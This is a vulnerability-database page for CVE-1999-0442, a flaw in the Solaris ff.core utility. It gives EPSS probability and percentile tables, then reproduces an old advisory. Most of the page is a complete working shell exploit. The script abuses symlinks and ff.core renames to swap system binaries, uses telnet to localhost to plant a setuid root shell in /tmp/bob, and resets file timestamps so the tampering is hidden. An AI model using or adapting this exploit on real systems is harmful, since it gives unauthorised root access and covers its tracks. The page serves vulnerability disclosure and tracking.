CVE-1999-0442 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15%
2025-04-15	–	–	–	–	0.15,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	34%
2025-03-30	33%
2025-04-15	37%
2025-04-15	37%

#source: https://www.securityfocus.com/bid/327/info # #There is a vulnerability in Solaris's ff.core utility which allows normal users to execute the rename command as root. This particular bug when leveraged against a series of other configuration issues in a standard Solaris setup can lead to a root compromise. An example of this attack executed via the ff.core rename attack could be as follows: # #1. rename /usr/bin/sh /usr/bin/admintool #2. rename /usr/sbin/swmtool /usr/sbin/in.rlogind #3. telnet localhost login and clean up # #Detailed messages concerning this problem and related fixes are attached to this Vulnerability in the Referance section. # #CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild. # #The following exploit was provided: #!/bin/sh # /usr/openwin/bin/ff.core exploit - horizon # tested on 2.5.1, 2.6 and Solaris 7 (2.7) # thanks to joej, adm, and joej :> # if you want to exploit 2.5, you can just make this move /etc/group over # /etc/shadow. you will probably want to move /etc/shadow to /etc/s.bak # first test if we can pull this off echo "Testing if exploit is possible..." if [ -x /usr/openwin/bin/ff.core ] then : else echo "ff.core isn't there or executable. :/" exit 1 fi if [ -w /vol/rmt ] then : else echo "We can't do the symlink. :<" exit 1 fi mkdir /tmp/.test42 touch /tmp/.test42/bob rm -f /vol/rmt/diskette0 ln -fs /tmp/.test42 /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/bob jim /floppy/ 2>/dev/null if [ -f /tmp/.test42/jim ] then echo "Test successful. Proceeding..." else echo "Hmmm.. doesn't look like this is going to work :/" exit 1 fi rm -rf /tmp/.test42 # lets make some backups echo "Backing up clobbered files to /tmp/.bk" mkdir /tmp/.bk #save admintools times touch /tmp/.bk/admintool touch -r /usr/bin/admintool /tmp/.bk/admintool #save rloginds times touch /tmp/.bk/in.rlogind touch -r /usr/sbin/in.rlogind /tmp/.bk/in.rlogind #save a copy of /usr/bin/sh cp /usr/bin/sh /tmp/.bk touch -r /usr/bin/sh /tmp/.bk/sh echo "Doing sploit..." rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/admintool admintool.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/bin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/sh admintool /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/in.rlogind in.rlogind.bak /floppy/ 2>/dev/null rm -f /vol/rmt/diskette0 ln -fs /usr/sbin /vol/rmt/diskette0 /usr/openwin/bin/ff.core -r /vol/rmt/diskette0/swmtool in.rlogind /floppy/ 2>/dev/null echo "Done with sploit. Testing and trying to clean up now..." sleep 1 (sleep 2;echo " cp /bin/rksh /tmp/bob; chmod 4755 /tmp/bob; exit; ") | telnet localhost login sleep 1 if [ -f /tmp/bob ] then echo "w00p! Should have a suid root sh in /tmp/bob" echo "btw, its rksh because solaris is silly" echo "Let me try to clean up my mess..." else echo "hrmmph.. didnt work. hope shits not screwed up bad :/" exit 1 fi echo " cp /tmp/.bk/sh /usr/bin/sh chmod 555 /usr/bin/sh chown bin /usr/bin/sh chgrp root /usr/bin/sh touch -r /tmp/.bk/sh /usr/bin/sh mv /usr/bin/admintool.bak /usr/bin/admintool touch -r /tmp/.bk/admintool /usr/bin/admintool rm -f /usr/sbin/swmtool ln -s /usr/bin/admintool /usr/sbin/swmtool touch -r /usr/bin/admintool /usr/sbin/swmtool rm -f /usr/sbin/in.rlogind mv /usr/sbin/in.rlogind.bak /usr/sbin/in.rlogind touch -r /tmp/.bk/in.rlogind /usr/sbin/in.rlogind rm -rf /tmp/.bk " | /tmp/bob echo "everything should be cool.. i think :>" /tmp/bob